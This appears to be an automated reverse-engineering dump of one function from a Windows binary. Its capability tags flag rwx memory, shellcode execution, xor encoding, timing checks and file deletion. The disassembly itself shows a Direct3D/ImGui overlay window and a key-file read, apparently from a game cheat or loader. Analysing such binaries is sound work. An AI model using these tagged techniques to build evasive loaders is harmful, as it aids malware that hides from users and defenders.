Function at 0x14003d4b0
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Create thread
Delete file
Encode data using xor
Execute command
Execute shellcode via indirect call
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push rbp
push r14
push r15
lea rbp, [rsp - 0x1430]
mov eax, 0x1530
call fcn.1400b0e30
sub rsp, rax
mov rax, qword [0x1400dc0c0]
xor rax, rsp
mov qword [rbp + 0x1378], rax
xor r14d, r14d
call fcn.14003cde0
mov r15d, 1
mov ecx, r15d
call fcn.1400b0814
lea rcx, [rbp - 0x68]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x140049370]
xor ecx, ecx
mov dword [rsp + 0x20], r14d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140046468
cmp dword [rbp - 0x68], r14d
je 0x14004645e
movaps xmm0, xmmword [rbp - 0x70]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14004645e
cmp qword [0x14017a380], 0xf
lea rax, [0x14017a368]
mov qword [0x14017a378], r14
lea rcx, [0x14017a0d0]
cmova rax, qword [0x14017a368]
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x70], xmm0
mov qword [rsp + 0x1550], rbx
mov qword [rsp + 0x1558], rsi
mov byte [rax], r14b
lea rax, [0x14017a090]
cmp qword [0x14017a0a8], 0xf
mov qword [0x14017a0a0], r14
cmova rax, qword [0x14017a090]
mov qword [rsp + 0x1560], rdi
mov byte [rax], r14b
lea rax, [0x14017a388]
cmp qword [0x14017a3a0], 0xf
mov qword [0x14017a398], r14
cmova rax, qword [0x14017a388]
mov byte [rax], r14b
lea rax, [0x14017a070]
cmp qword [0x14017a088], 0xf
mov qword [0x14017a080], r14
cmova rax, qword [0x14017a070]
mov byte [rax], r14b
lea rax, [0x14017a0b0]
cmp qword [0x14017a0c8], 0xf
mov qword [0x14017a0c0], r14
cmova rax, qword [0x14017a0b0]
mov byte [rax], r14b
call fcn.140058d20
lea rax, [0x140046700]
mov dword [rbp + 0x1070], 0x50
xor ecx, ecx
mov qword [rbp + 0x1078], rax
mov dword [rbp + 0x1074], 0x40
mov qword [rbp + 0x1080], r14
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xorps xmm0, xmm0
mov qword [rbp + 0x10b8], r14
mov qword [rbp + 0x1088], rax
lea rcx, [rbp + 0x1070]
lea rax, str.ImGui_Example
movdqu xmmword [rbp + 0x1090], xmm0
xorps xmm1, xmm1
mov qword [rbp + 0x10b0], rax
movdqu xmmword [rbp + 0x10a0], xmm1
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0xe1]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r14
lea r8, str.VIDM
mov qword [rsp + 0x50], r14
cdq
mov qword [rsp + 0x48], r14
sub eax, edx
mov rdx, qword [rbp + 0x10b0]
mov r9d, 0x80000000
mov qword [rsp + 0x40], r14
xor ecx, ecx
mov dword [rsp + 0x38], 0x1c2
sar eax, 1
sub eax, 0x145
mov dword [rsp + 0x30], 0x28a
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [0x14017a030], rax
lea edx, [r14 - 0x14]
call qword [sym.imp.USER32.dll_GetWindowLongA]
bts eax, 0x13
lea edx, [r14 - 0x14]
mov r8d, eax
mov rcx, qword [0x14017a030]
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x14017a030]
lea r9d, [r14 + 2]
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1400cad40]
lea rdx, [rbp + 0x10e0]
mov rcx, qword [0x14017a030]
movdqu xmmword [rbp + 0x10e0], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rdi, qword [0x14017a030]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x14003d7f4
lea rdx, str.SetWindowCompositionAttribute
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14003d7ce
movdqa xmm0, xmmword [reloc.WS2_32.dll_closesocket]
lea rcx, [rbp + 0x10f0]
mov qword [rbp + 0x10c8], rcx
lea rdx, [rbp + 0x10c0]
mov rcx, rdi
mov dword [rbp + 0x10c0], reloc.WS2_32.dll_send
movdqu xmmword [rbp + 0x10f0], xmm0
mov dword [rbp + reloc.WS2_32.dll_recvd0], 0x10
call rax
jmp 0x14003d7eb
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Error
lea rdx, str.SetWindowCompositionAttribute_function_not_found.
mov rcx, rdi
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor edx, edx
lea rcx, [rbp + 0x1240]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140000000]
lea rax, [rax + 0xcaa48]
mov qword [rbp + 0x1240], rax
lea rcx, [rbp + 0x12f8]
lea rax, [0x1400ca648]
mov qword [rbp + 0x1250], rax
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
xor r8d, r8d
lea rdx, [rbp + 0x1258]
lea rcx, [rbp + 0x1240]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
mov rax, qword [rbp + 0x1240]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1240], rax
mov rax, qword [rbp + 0x1240]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb8]
mov dword [rbp + rcx + 0x123c], edx
lea rcx, [rbp + 0x1258]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [rbp + 0x12d4], r14b
lea rcx, [rbp + 0x1258]
mov qword [rbp + 0x1258], rax
mov byte [rbp + 0x12c9], r14b
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x14017ab00]
lea rdx, str.key.cock
mov r9d, 0x40
mov qword [rbp + 0x12d8], r14
lea rcx, [rbp + 0x1258]
mov qword [rbp + 0x12cc], rax
mov qword [rbp + 0x12c0], r14
lea r8d, [r9 - 0x3d]
call fcn.140047bf0
test rax, rax
jne 0x14003d917
mov rax, qword [rbp + 0x1240]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp + 0x1240]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
cmp qword [rbp + 0x12d8], r14
je 0x14003d9c1
mov rax, qword [rbp + 0x1240]
mov dl, 0xa
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1240]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [0x140178f98]
lea rcx, [rbp + 0x1240]
call fcn.140048aa0
lea rcx, [rbp + 0x1258]
call fcn.140047b30
test rax, rax
jne 0x14003d98b
mov rax, qword [rbp + 0x1240]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp + 0x1240]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, [0x140178f98]
lea rcx, [rbp + 0xff8]
call fcn.1400477b0
mov rdx, rax
lea rcx, [0x14017a0d0]
call fcn.14005ab70
movzx eax, byte [0x14017a300]
neg al
sbb ecx, ecx
and ecx, 2
mov dword [0x14017a444], ecx
mov rcx, qword [0x14017a030]
lea rdx, [0x14017a038]
xorps xmm0, xmm0
movups xmmword [0x14017a038], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x14017a030]
lea rbx, [0x14017a448]
mov qword [rsp + 0x58], rbx
lea rdi, [0x14017a408]
mov qword [rbp + 0x1050], rax
lea rsi, [0x14017a3f8]
lea rax, [rbp + 0x10d8]
mov qword [rbp + 0x1034], r14
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x1020]
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov edx, r15d
mov dword [rsp + 0x30], 7
lea rax, [rbp + 0x1360]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x1048], 2
mov qword [rbp + 0x1060], 2
mov qword [rbp + 0x1020], r14
mov dword [rbp + 0x1030], Ordinal_33
mov dword [rbp + 0x1028], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x102c], r15d
mov dword [rbp + 0x1044], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x103c], r15
mov qword [rbp + 0x1058], r15
mov dword [rbp + 0x1360], 0xb000
mov dword [rbp + 0x1364], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
cmp eax, 0x887a0004
jne 0x14003db1d
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x10d8]
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x1020]
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rax
xor ecx, ecx
mov dword [rsp + 0x30], 7
lea rax, [rbp + 0x1360]
mov dword [rsp + 0x28], 2
lea edx, [r9 + 5]
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
mov qword [rsp + 0x1528], r12
mov qword [rsp + 0x1520], r13
movaps xmmword [rsp + 0x1510], xmm6
movaps xmmword [rsp + 0x1500], xmm7
movaps xmmword [rsp + 0x14f0], xmm8
movaps xmmword [rsp + 0x14e0], xmm9
movaps xmmword [rsp + 0x14d0], xmm10
movaps xmmword [rsp + 0x14c0], xmm11
movaps xmmword [rsp + 0x14b0], xmm12
movaps xmmword [rsp + 0x14a0], xmm13
movaps xmmword [rsp + 0x1490], xmm14
movaps xmmword [rsp + 0x1480], xmm15
test eax, eax
je 0x14003dba7
call fcn.140046680
mov rdx, qword [rbp + 0x1088]
mov rcx, qword [rbp + 0x10b0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
jmp 0x1400463a3
mov rcx, qword [0x14017a3f8]
lea r9, [rbp + 0x1018]
lea r8, [0x1400ca780]
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [0x14017a408]
lea r9, [0x14017a3f0]
mov rdx, qword [rbp + 0x1018]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x1018]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x14017a030]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14017a030]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rdx, qword [0x14017a010]
mov ecx, 0x6290
mov rbx, qword [0x14017a020]
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, qword [0x14017a020]
mov r9, rax
test r8, r8
je 0x14003dc95
movsx rax, word [r8 + 0x6100]
lea rdx, [r8 + 0x6104]
mov r10d, dword [r8 + 0x3f68]
lea rdx, [rdx + rax*8]
cmp dword [rdx], r10d
je 0x14003dc8a
lea ecx, [rax + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
lea rdx, [r8 + 0x6104]
sub ecx, eax
mov word [r8 + 0x6100], cx
movsx rax, cx
lea rdx, [rdx + rax*8]
mov dword [rdx], r10d
mov dword [rdx + 4], r14d
inc word [rdx + 4]
inc dword [r8 + 0x60f8]
test r9, r9
je 0x14003dca6
xor edx, edx
mov rcx, r9
call fcn.140001ea0
jmp 0x14003dca9
mov rax, r14
mov qword [0x14017a020], rax
call fcn.140006430
test rbx, rbx
je 0x14003dcc3
mov qword [0x14017a020], rbx
jmp 0x14003dcca
mov rbx, qword [0x14017a020]
xor ecx, ecx
mov qword [rbx + 0x20], r14
call fcn.140024e80
mov rcx, qword [0x14017a030]
call fcn.14002f530
call fcn.14002f360
mov rcx, qword [rbx + 0x38]
lea rdi, [0x1400de790]
movss xmm10, dword [0x1400cabb8]
lea rdx, [rbp + 0x30]
xorps xmm2, xmm2
mov esi, 0xffff
movups xmmword [rbp + 0xcd0], xmm2
mov dword [rbp + 0xcd0], 0x3f800000
movups xmmword [rbp + 0xc90], xmm2
mov dword [rbp + 0xc98], 2
movups xmmword [rbp + 0xc80], xmm2
mov byte [rbp + 0xc8c], r15b
movups xmm0, xmmword [rbp + 0xc80]
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0xcc0], xmm2
mov dword [rbp + 0xc9c], r15d
movups xmm1, xmmword [rbp + 0xc90]
movups xmmword [rbp + 0x40], xmm1
mov dword [rbp + 0xcc4], 0x7f7fffff
movups xmm0, xmmword [rbp + 0xcc0]
mov dword [rbp + 0xcd4], 0x3f800000
mov word [rbp + 0xcd8], si
movups xmm1, xmmword [rbp + 0xcd0]
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm1
movups xmmword [rbp + 0xca0], xmm2
movups xmmword [rbp + 0xcb0], xmm2
movups xmmword [rbp + 0xce0], xmm2
movups xmmword [rbp + 0xcf0], xmm2
movups xmmword [rbp + 0xd00], xmm2
movups xmmword [rbp + 0x50], xmm2
movups xmmword [rbp + 0x60], xmm2
movups xmmword [rbp + 0x90], xmm2
movups xmmword [rbp + 0xa0], xmm2
movups xmmword [rbp + 0xb0], xmm2
mov qword [rbp + 0x30], rdi
mov dword [rbp + 0x38], 0x4d33c
mov dword [rbp + 0x44], 0x41880000
call fcn.140029850
mov rcx, qword [rbx + 0x38]
lea rdx, [rbp + 0x30]
xorps xmm2, xmm2
mov qword [0x14017a060], rax
movups xmmword [rbp + 0xc40], xmm2
mov dword [rbp + 0xc40], 0x3f800000
movups xmmword [rbp + 0xc00], xmm2
mov dword [rbp + 0xc08], 2
movups xmmword [rbp + 0xbf0], xmm2
mov byte [rbp + 0xbfc], r15b
movups xmm0, xmmword [rbp + 0xbf0]
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0xc30], xmm2
mov dword [rbp + 0xc0c], r15d
movups xmm1, xmmword [rbp + 0xc00]
movups xmmword [rbp + 0x40], xmm1
mov dword [rbp + 0xc34], 0x7f7fffff
movups xmm0, xmmword [rbp + 0xc30]
mov dword [rbp + 0xc44], 0x3f800000
mov word [rbp + 0xc48], si
movups xmm1, xmmword [rbp + 0xc40]
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm1
movups xmmword [rbp + 0xc10], xmm2
movups xmmword [rbp + 0xc20], xmm2
movups xmmword [rbp + 0xc50], xmm2
movups xmmword [rbp + 0xc60], xmm2
movups xmmword [rbp + 0xc70], xmm2
movups xmmword [rbp + 0x50], xmm2
movups xmmword [rbp + 0x60], xmm2
movups xmmword [rbp + 0x90], xmm2
movups xmmword [rbp + 0xa0], xmm2
movups xmmword [rbp + 0xb0], xmm2
mov qword [rbp + 0x30], rdi
mov dword [rbp + 0x38], 0x4d33c
mov dword [rbp + 0x44], 0x41b00000
call fcn.140029850
mov rcx, qword [rbx + 0x38]
lea rdi, [0x14012bad0]
xorps xmm2, xmm2
lea rdx, [rbp + 0x30]
movups xmmword [rbp + 0xdf0], xmm2
mov dword [rbp + 0xdf0], 0x3f800000
movups xmmword [rbp + 0xdb0], xmm2
mov dword [rbp + 0xdb8], 2
movups xmmword [rbp + 0xda0], xmm2
mov byte [rbp + 0xdac], r15b
movups xmm0, xmmword [rbp + 0xda0]
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0xde0], xmm2
mov dword [rbp + 0xdbc], r15d
movups xmm1, xmmword [rbp + 0xdb0]
movups xmmword [rbp + 0x40], xmm1
mov dword [rbp + 0xde4], 0x7f7fffff
movups xmm0, xmmword [rbp + 0xde0]
mov dword [rbp + 0xdf4], 0x3f800000
mov word [rbp + 0xdf8], si
movups xmm1, xmmword [rbp + 0xdf0]
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm1
movups xmmword [rbp + 0xdc0], xmm2
movups xmmword [rbp + 0xdd0], xmm2
movups xmmword [rbp + 0xe00], xmm2
movups xmmword [rbp + 0xe10], xmm2
movups xmmword [rbp + 0xe20], xmm2
movups xmmword [rbp + 0x50], xmm2
movups xmmword [rbp + 0x60], xmm2
movups xmmword [rbp + 0x90], xmm2
movups xmmword [rbp + 0xa0], xmm2
movups xmmword [rbp + 0xb0], xmm2
mov qword [rbp + 0x30], rdi
mov dword [rbp + 0x38], 0x4d4a8
mov dword [rbp + 0x44], 0x41b00000
call fcn.140029850
mov rcx, qword [rbx + 0x38]
lea rdx, [rbp + 0x30]
xorps xmm2, xmm2
mov qword [0x14017a050], rax
movups xmmword [rbp + 0xd60], xmm2
mov dword [rbp + 0xd60], 0x3f800000
movups xmmword [rbp + 0xd20], xmm2
mov dword [rbp + 0xd28], 2
movups xmmword [rbp + 0xd10], xmm2
mov byte [rbp + 0xd1c], r15b
movups xmm0, xmmword [rbp + 0xd10]
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0xd50], xmm2
mov dword [rbp + 0xd2c], r15d
movups xmm1, xmmword [rbp + 0xd20]
movups xmmword [rbp + 0x40], xmm1
mov dword [rbp + 0xd54], 0x7f7fffff
movups xmm0, xmmword [rbp + 0xd50]
mov dword [rbp + 0xd64], 0x3f800000
mov word [rbp + 0xd68], si
movups xmm1, xmmword [rbp + 0xd60]
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm1
movups xmmword [rbp + 0xd30], xmm2
movups xmmword [rbp + 0xd40], xmm2
movups xmmword [rbp + 0xd70], xmm2
movups xmmword [rbp + 0xd80], xmm2
movups xmmword [rbp + 0xd90], xmm2
movups xmmword [rbp + 0x50], xmm2
movups xmmword [rbp + 0x60], xmm2
movups xmmword [rbp + 0x90], xmm2
movups xmmword [rbp + 0xa0], xmm2
movups xmmword [rbp + 0xb0], xmm2
mov qword [rbp + 0x30], rdi
mov dword [rbp + 0x38], 0x4d4a8
mov dword [rbp + 0x44], 0x41900000
call fcn.140029850
mov qword [rsp + 0x30], r14
lea rax, [0x14017a058]
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov qword [rsp + 0x20], r14
mov r8d, 0x2428
mov rcx, qword [0x14017a408]
lea rdx, [0x1400dc170]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x14017a408]
lea rax, [0x14017a068]
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
lea rdx, [0x1400de710]
mov qword [rsp + 0x20], r14
lea r8d, [r9 + 0x7d]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x14017a408]
lea rax, [0x14017a048]
mov qword [rsp + 0x30], r14
lea rdx, [0x1400de5a0]
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov r8d, 0x16c
mov qword [rsp + 0x20], r14
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
movss xmm7, dword [0x1400cae70]
xorps xmm9, xmm9
movss xmm11, dword [0x1400cac68]
mov ebx, 0x41
movss xmm8, dword [0x1400cab64]
movss xmm15, dword [0x1400cab84]
mov dword [rsp + 0x74], r14d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x44fc3a35
imul r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1db
sub r8d, ecx
movd xmm6, r8d
cvtdq2ps xmm6, xmm6
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
movss dword [rbp + 0xc4], xmm6
mov eax, 0x5d9f7391
imul r8d
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x2bc
sub r8d, ecx
movd xmm0, r8d
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0xc0], xmm0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsd xmm0, qword [rsp + 0x74]
mov r8d, eax
mov eax, 0x66666667
shufps xmm0, xmm0, 0xe1
imul r8d
mov dword [rbp + 0xd0], 0x3f800000
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
movd xmm1, r8d
cvtdq2ps xmm1, xmm1
divss xmm1, xmm11
addss xmm1, xmm8
xorps xmm1, xmm7
movss xmm0, xmm1
shufps xmm0, xmm0, 0xe1
movsd qword [rsp + 0x74], xmm0
movsd qword [rbp + 0xc8], xmm0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov dword [rbp + 0xd8], 0x60ffffff
mov eax, 0x55555556
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
mov rdx, qword [0x14017a418]
sub r8d, ecx
inc r8d
cmp rdx, qword [0x14017a420]
movd xmm0, r8d
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm15
movss dword [rbp + 0xd4], xmm0
je 0x14003e2c5
movups xmm0, xmmword [rbp + 0xc0]
movups xmmword [rdx], xmm0
movsd xmm1, qword [rbp + 0xd0]
movsd qword [rdx + 0x10], xmm1
mov eax, dword [rbp + 0xd8]
mov dword [rdx + 0x18], eax
add qword [0x14017a418], 0x1c
jmp 0x14003e2d1
lea r8, [rbp + 0xc0]
call fcn.140048c50
sub rbx, r15
jne 0x14003e180
movss xmm11, dword [0x1400cac40]
movss xmm12, dword [0x1400cab44]
movss xmm14, dword [0x1400cac1c]
movss xmm13, dword [0x1400cac18]
mov dword [rsp + 0x74], ebx
movss xmm6, dword [0x1400cac08]
lea rcx, [rbp + 0x1210]
xor r9d, r9d
mov edi, reloc.WS2_32.dll_recv
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor edx, edx
movabs rsi, 0x4924924924924925
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14003e392
nop word [rax + rax]
lea rcx, [rbp + 0x1210]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x1210]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x1218], 0x12
lea rcx, [rbp + 0x1210]
movzx ebx, bl
cmove ebx, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14003e340
mov dword [rsp + 0x74], ebx
test bl, bl
jne 0x14004613f
cmp byte [0x14017a3e8], 0
je 0x14003e407
mov rax, qword gs:[0x58]
mov edx, edi
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x14017ab08], eax
jle 0x14003e3e1
lea rcx, [0x14017ab08]
call fcn.1400b055c
cmp dword [0x14017ab08], 0xffffffff
jne 0x14003e3e1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [0x14017ab08]
mov dword [0x14017aaf8], eax
call fcn.1400b04f0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x14017aaf8]
cmp eax, 0x5dc
jbe 0x14003e407
mov byte [0x14017a3e8], 0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x14017aaf8], eax
mov rax, qword [0x14017a020]
test rax, rax
je 0x14003e41c
mov rcx, qword [rax + 0x98]
jmp 0x14003e41f
mov rcx, r14
cmp qword [rcx + 0x48], 0
jne 0x14003e42b
call fcn.14002ed00
call fcn.14002ff40
call fcn.140008ab0
movss xmm0, dword [0x140178f90]
comiss xmm0, dword [0x1400cac44]
mov rax, qword [0x14017a020]
movss xmm8, dword [rax + 0x18]
mulss xmm8, xmm6
setae r13b
mov byte [rsp + 0x71], r13b
test r13b, r13b
je 0x14003e476
movss xmm0, dword [0x14017a428]
comiss xmm0, xmm6
jb 0x14003e476
mov r12b, 1
jmp 0x14003e479
xor r12b, r12b
xor edx, edx
mov byte [rsp + 0x70], r12b
mov r8d, 0xbb
lea rcx, str.Main
call fcn.14000e6b0
mov rcx, qword [0x14017a020]
lea rdx, [rbp - 0x58]
xor r8d, r8d
mov dword [rbp - 0x58], 0x44228000
mov dword [rbp - 0x54], 0x43e10000
mov rcx, qword [rcx + 0x4010]
call fcn.140011430
mov rcx, qword [0x14017a030]
lea rdx, [0x14017a038]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov r10, qword [0x14017a020]
mov rax, qword [r10 + 0x4010]
movss xmm2, dword [rax + 0x28]
ucomiss xmm2, xmm9
jp 0x14003e4f6
jne 0x14003e4f6
movss xmm0, dword [rax + 0x2c]
ucomiss xmm0, xmm9
jp 0x14003e4f6
je 0x14003e560
movd xmm0, dword [0x14017a03c]
mov r9d, 0x28a
movd xmm1, dword [0x14017a038]
mov rcx, qword [0x14017a030]
cvtdq2ps xmm0, xmm0
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 0x1c2
cvtdq2ps xmm1, xmm1
addss xmm0, dword [rax + 0x2c]
addss xmm1, xmm2
cvttss2si r8d, xmm0
cvttss2si edx, xmm1
call qword [sym.imp.USER32.dll_MoveWindow]
mov r10, qword [0x14017a020]
lea rdx, [rbp - 0x50]
xor r8d, r8d
mov qword [rbp - 0x50], 0
mov rcx, qword [r10 + 0x4010]
call fcn.1400112c0
mov rax, qword [r10 + 0x4010]
mov byte [rax + 0xc0], 1
mov rax, qword [r10 + 0x4010]
movss xmm0, dword [0x14017a400]
mov r15, qword [rax + 0x2a8]
movss xmm6, dword [rax + 0x28]
movss xmm7, dword [rax + 0x2c]
movss dword [r10 + 0x38e8], xmm0
movss xmm1, dword [0x14017a400]
movss dword [r10 + 0x38ec], xmm1
call fcn.14003b0e0
mov r9, qword [0x14017a418]
mov rax, rsi
mov r8, qword [0x14017a410]
mov rcx, r9
sub rcx, r8
mov edi, r14d
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x14003e690
mov rbx, r14
movss xmm0, dword [rbx + r8 + 0xc]
mulss xmm0, dword [0x1400cab48]
mulss xmm0, dword [0x1400cac5c]
addss xmm0, dword [rbx + r8 + 4]
movss dword [rbx + r8 + 4], xmm0
mov r8, qword [0x14017a410]
comiss xmm9, dword [rbx + r8 + 4]
jbe 0x14003e65d
mov dword [rbx + r8 + 4], 0x43ed8000
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x5d9f7391
imul r8d
mov rax, qword [0x14017a410]
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x2bc
sub r8d, ecx
movd xmm0, r8d
cvtdq2ps xmm0, xmm0
movss dword [rbx + rax], xmm0
mov r8, qword [0x14017a410]
mov r9, qword [0x14017a418]
inc edi
mov rcx, r9
mov rax, rsi
sub rcx, r8
add rbx, 0x1c
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsxd rax, edi
cmp rax, rdx
jb 0x14003e5e1
sub r9, r8
mov rax, rsi
imul r9
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x14003e77e
xor r8d, r8d
movabs r13, 0x4924924924924925
xor edi, edi
nop dword [rax]
mov rcx, qword [0x14017a020]
imul rdx, r8, 0x1c
mov rax, qword [rcx + 0x4010]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4010]
mov rbx, qword [rax + 0x2a8]
mov rax, qword [0x14017a410]
add rdx, rax
mov esi, dword [rdi + rax + 0x18]
movss xmm2, dword [rdi + rax + 0x14]
test esi, 0xff000000
je 0x14003e747
comiss xmm15, xmm2
ja 0x14003e747
xor r9d, r9d
mov dword [rsp + 0x20], Ordinal_50
mov rcx, rbx
call fcn.140027680
mov r8d, dword [rbx + 0x78]
mov r9d, esi
dec r8d
mov rcx, rbx
mov dword [rbx + 0x78], r8d
mov rdx, qword [rbx + 0x80]
call fcn.140027100
mov dword [rbx + 0x78], 0
mov rax, qword [0x14017a410]
mov rcx, qword [0x14017a418]
inc r14d
sub rcx, rax
movsxd r8, r14d
mov rax, r13
add rdi, 0x1c
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp r8, rdx
jb 0x14003e6c0
